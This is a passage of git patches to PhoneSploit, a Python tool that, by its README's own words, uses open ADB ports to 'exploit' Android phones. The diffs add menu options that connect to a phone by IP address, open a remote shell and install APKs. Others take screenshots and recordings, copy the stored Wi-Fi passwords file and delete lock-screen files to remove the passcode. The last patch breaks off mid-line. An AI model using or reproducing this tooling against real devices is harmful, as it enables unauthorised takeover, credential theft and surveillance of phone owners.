the screenshot to be saved.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) @@ -152,70 +171,259 @@ def main(): os.system("adb kill-server && adb start-server") elif option == '9': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE)) file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) elif option == '10': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+ " reboot ") elif option == '11': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE)) package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" unistall "+package_name) elif option == '12': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") os.system('adb -s '+device_name+" logcat ") elif option == '13': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" dumpsys") elif option == '14': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") os.system("adb -s " +device_name+ " shell pm list packages -f") main() elif option == '15': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() elif option == '16': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE)) port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE)) forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) - elif option == '0': + elif option == '17': + try: + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") + os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) + except KeyboardInterrupt: + main() + + elif option == '18': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell ip address show wlan0") + main() + + elif option == '19': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell pm path "+package_name) + print ((" "+connect)) + print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE)) + path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+" pull "+path+" "+location) + main() + + elif option == '20': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell dumpsys battery") + main() + + elif option == '21': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell netstat") + main() + + elif option == '22': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wifi) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE) + if on_off == 'off': + command = " shell svc wifi disable" + else: + command = " shell svc wifi enable" + + os.system("adb -s "+device_name+command) + + elif option == '23': + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pass_remove) "+Fore.WHITE + "> ") + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'") + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + + elif option == '24': + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") + print (''' +0 --> "KEYCODE_UNKNOWN" +1 --> "KEYCODE_MENU" +2 --> "KEYCODE_SOFT_RIGHT" +3 --> "KEYCODE_HOME" +4 --> "KEYCODE_BACK" +5 --> "KEYCODE_CALL" +6 --> "KEYCODE_ENDCALL" +7 --> "KEYCODE_0" +8 --> "KEYCODE_1" +9 --> "KEYCODE_2" +10 --> "KEYCODE_3" +11 --> "KEYCODE_4" +12 --> "KEYCODE_5" +13 --> "KEYCODE_6" +14 --> "KEYCODE_7" +15 --> "KEYCODE_8" +16 --> "KEYCODE_9" +17 --> "KEYCODE_STAR" +18 --> "KEYCODE_POUND" +19 --> "KEYCODE_DPAD_UP" +20 --> "KEYCODE_DPAD_DOWN" +21 --> "KEYCODE_DPAD_LEFT" +22 --> "KEYCODE_DPAD_RIGHT" +23 --> "KEYCODE_DPAD_CENTER" +24 --> "KEYCODE_VOLUME_UP" +25 --> "KEYCODE_VOLUME_DOWN" +26 --> "KEYCODE_POWER" +27 --> "KEYCODE_CAMERA" +28 --> "KEYCODE_CLEAR" +29 --> "KEYCODE_A" +30 --> "KEYCODE_B" +31 --> "KEYCODE_C" +32 --> "KEYCODE_D" +33 --> "KEYCODE_E" +34 --> "KEYCODE_F" +35 --> "KEYCODE_G" +36 --> "KEYCODE_H" +37 --> "KEYCODE_I" +38 --> "KEYCODE_J" +39 --> "KEYCODE_K" +40 --> "KEYCODE_L" +41 --> "KEYCODE_M" +42 --> "KEYCODE_N" +43 --> "KEYCODE_O" +44 --> "KEYCODE_P" +45 --> "KEYCODE_Q" +46 --> "KEYCODE_R" +47 --> "KEYCODE_S" +48 --> "KEYCODE_T" +49 --> "KEYCODE_U" +50 --> "KEYCODE_V" +51 --> "KEYCODE_W" +52 --> "KEYCODE_X" +53 --> "KEYCODE_Y" +54 --> "KEYCODE_Z" +55 --> "KEYCODE_COMMA" +56 --> "KEYCODE_PERIOD" +57 --> "KEYCODE_ALT_LEFT" +58 --> "KEYCODE_ALT_RIGHT" +59 --> "KEYCODE_SHIFT_LEFT" +60 --> "KEYCODE_SHIFT_RIGHT" +61 --> "KEYCODE_TAB" +62 --> "KEYCODE_SPACE" +63 --> "KEYCODE_SYM" +64 --> "KEYCODE_EXPLORER" +65 --> "KEYCODE_ENVELOPE" +66 --> "KEYCODE_ENTER" +67 --> "KEYCODE_DEL" +68 --> "KEYCODE_GRAVE" +69 --> "KEYCODE_MINUS" +70 --> "KEYCODE_EQUALS" +71 --> "KEYCODE_LEFT_BRACKET" +72 --> "KEYCODE_RIGHT_BRACKET" +73 --> "KEYCODE_BACKSLASH" +74 --> "KEYCODE_SEMICOLON" +75 --> "KEYCODE_APOSTROPHE" +76 --> "KEYCODE_SLASH" +77 --> "KEYCODE_AT" +78 --> "KEYCODE_NUM" +79 --> "KEYCODE_HEADSETHOOK" +80 --> "KEYCODE_FOCUS" +81 --> "KEYCODE_PLUS" +82 --> "KEYCODE_MENU" +83 --> "KEYCODE_NOTIFICATION" +84 --> "KEYCODE_SEARCH" +85 --> "TAG_LAST_KEYCODE" + ''') + print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE)) + num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell input keyevent "+num) + + elif option == '25': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(current_activity) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " dumpsys activity") + main() + + elif option == '0': + global page2 + if page2 == True: + clear(page_2) + else: + clear(page_1) + + elif option == 'p': os.system('clear') + page2 = True banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print Fore.RED + banner_title - print message + print (Fore.RED + banner_title) + print (page_2) + + elif option == 'b': + os.system('clear') + page2 = False + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print (Fore.RED + banner_title) + print (page_1) elif option == '99': exit() @@ -223,9 +431,18 @@ def main(): main() +#============================= + +def clear(page): + global page2 + os.system('clear') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print (Fore.RED + banner_title) + print (page) -#============================= + +#============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) if yn == "n": @@ -235,6 +452,6 @@ def main(): t.sleep(4) os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) -print Fore.RED + banner_title -print message +print (Fore.RED + banner_title) +print (page_1) main() From 5e21d6ff6da1f14b8e2c3738092842a096152e4f Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 21:03:55 -0700 Subject: [PATCH 32/36] Update README.md --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1b75d19..3bee811 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,9 @@ -# Recent News -
An Update is coming along with some new options -
This update will have 9 new options! +# Recent News (New Update v.1.2) +Port Forwarding
NetStat
+Grab wpa_supplicant
Turn WiFi On/Off
+Show Mac/Inet
Remove Password
+Extract apk from app
Use Keycode
+Get Battery Status
Get Current Activity
# PhoneSploit Using open Adb ports we can exploit a device From 1a05d00ed936ab38466f4e6db4f052350d636b82 Mon Sep 17 00:00:00 2001 From: cclauss Date: Wed, 19 Jun 2019 10:19:18 +0200 Subject: [PATCH 33/36] Typo: Expoit --> Exploit --- main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main.py b/main.py index 81ccd31..305c44b 100644 --- a/main.py +++ b/main.py @@ -80,7 +80,7 @@ +mMMMMMMMMMMMMm+ `dMMm\033[0m:\033[92mNMMMMMMN\033[0m:\033[92mmMMd` hMMMMMMMMMMMMMMMMMMh - \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Expoit time :) \033[92m + \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Exploit time :) \033[92m \033[92m.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. \033[0m Thanks for downloading!\033[92m \033[92m:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: :MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: @@ -504,4 +504,4 @@ def clear(page): print (page_1) main() except KeyboardInterrupt: - main() \ No newline at end of file + main() From 9d840d4fc92e01f2770843d4950bade10b05551e Mon Sep 17 00:00:00 2001 From: cclauss Date: Wed, 19 Jun 2019 10:20:12 +0200 Subject: [PATCH 34/36] Update main_linux.py --- main_linux.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main_linux.py b/main_linux.py index 8b14a81..66f1563 100644 --- a/main_linux.py +++ b/main_linux.py @@ -81,7 +81,7 @@ +mMMMMMMMMMMMMm+ `dMMm\033[0m:\033[92mNMMMMMMN\033[0m:\033[92mmMMd` hMMMMMMMMMMMMMMMMMMh - \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Expoit time :) \033[92m + \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Exploit time :) \033[92m \033[92m.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. \033[0m Thanks for downloading!\033[92m \033[92m:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: :MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: From 192716d19a8f373f3e38d1ffb805a752780b752e Mon Sep 17 00:00:00 2001 From: Your Hacker <34960106+xd20111@users.noreply.github.com> Date: Mon, 24 Jun 2019 23:43:40 +0530 Subject: [PATCH 35/36] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 3bee811..0e8abba 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,10 @@ cd PhoneSploit pip install colorama python2 main_linux.py ``` +# IF ADB NOT FOUND +sudo apt update +sudo apt install android-tools-adb android-tools-fastboot + # VIDEO From 05d26d319593b3400d0799991d4243d58483aa9f Mon Sep 17 00:00:00 2001 From: Sushant Nadkar Date: Tue, 25 Jun 2019 23:22:42 +0530 Subject: [PATCH 36/36] Modified workflow so that there is no need to enter device name again and again, by adding infinite while loop around the if-else statements. Added else statement at the end to handle invalid menu options. --- main_linux.py | 596 +++++++++++++++++++++++++------------------------- 1 file changed, 297 insertions(+), 299 deletions(-) diff --git a/main_linux.py b/main_linux.py index 66f1563..5212b67 100644 --- a/main_linux.py +++ b/main_linux.py @@ -19,6 +19,7 @@ # Variables CurrentDir = os.path.dirname(os.path.abspath(__file__)) load_count = 0 +page2 = False #============================= #Install Functions @@ -122,311 +123,308 @@ #Main def main(): page_num = 1 - option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - if option == '1': - os.system("adb devices -l") - elif option == '2': - os.system("adb disconnect") - elif option == '3': - os.system("adb tcpip 5555") - print (("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE)) - ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") - os.system("adb connect "+ip+":5555") - - elif option == '4': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell") - - elif option == '5': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE)) - apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" install "+apk_location) - print (Fore.GREEN + "Apk has been installed.") - - elif option == '6': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE)) - print ((" "+connect)) - os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") - print ((" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE)) - place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) - - elif option == '7': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") - print ((" "+connect)) - print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE)) - place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) - - elif option == '8': - os.system("adb kill-server && adb start-server") - - elif option == '9': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE)) - file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE)) - place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) - - elif option == '10': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+ " reboot ") - - elif option == '11': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE)) - package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" unistall "+package_name) - - elif option == '12': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") - os.system('adb -s '+device_name+" logcat ") - - elif option == '13': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" dumpsys") - - elif option == '14': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell pm list packages -f") + os.system("adb tcpip 5555") + os.system("adb devices -l") + print (("\n[{0}+{1}] Enter a phones ip address.(Type 99 to exit)").format(Fore.RED, Fore.WHITE)) + try: + device_name = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + except KeyboardInterrupt: + main() + if device_name == '': main() + if device_name == '99': + exit() + os.system("adb connect "+device_name+":5555") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + while(1): + if option == '1': + os.system("adb devices -l") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '2': + os.system("adb disconnect") + main() + + elif option == '3': + main() + + elif option == '4': + os.system("adb -s "+device_name+" shell") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - elif option == '15': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) - package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") - main() - - elif option == '16': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE)) - port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE)) - forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) - - elif option == '17': - try: - print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE)) + elif option == '5': print ((" "+connect)) - print ((" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE)) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") - os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) - except KeyboardInterrupt: - main() - - elif option == '18': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell ip address show wlan0") - main() + print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE)) + apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" install "+apk_location) + print (Fore.GREEN + "Apk has been installed.") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - elif option == '19': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) - package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell pm path "+package_name) - print ((" "+connect)) - print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE)) - path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print ((" "+connect)) - print ((" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE)) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+" pull "+path+" "+location) - main() + elif option == '6': + print ((" "+connect)) + print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") + print ((" [{0}+{1}]Enter where you would like the video to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE)) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + + elif option == '7': + os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE)) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - elif option == '20': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell dumpsys battery") - main() + elif option == '8': + os.system("adb kill-server && adb start-server") + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") - elif option == '21': - print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell netstat") - main() + elif option == '9': + print ((" "+connect)) + print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE)) + file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the file to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE)) + place_location = 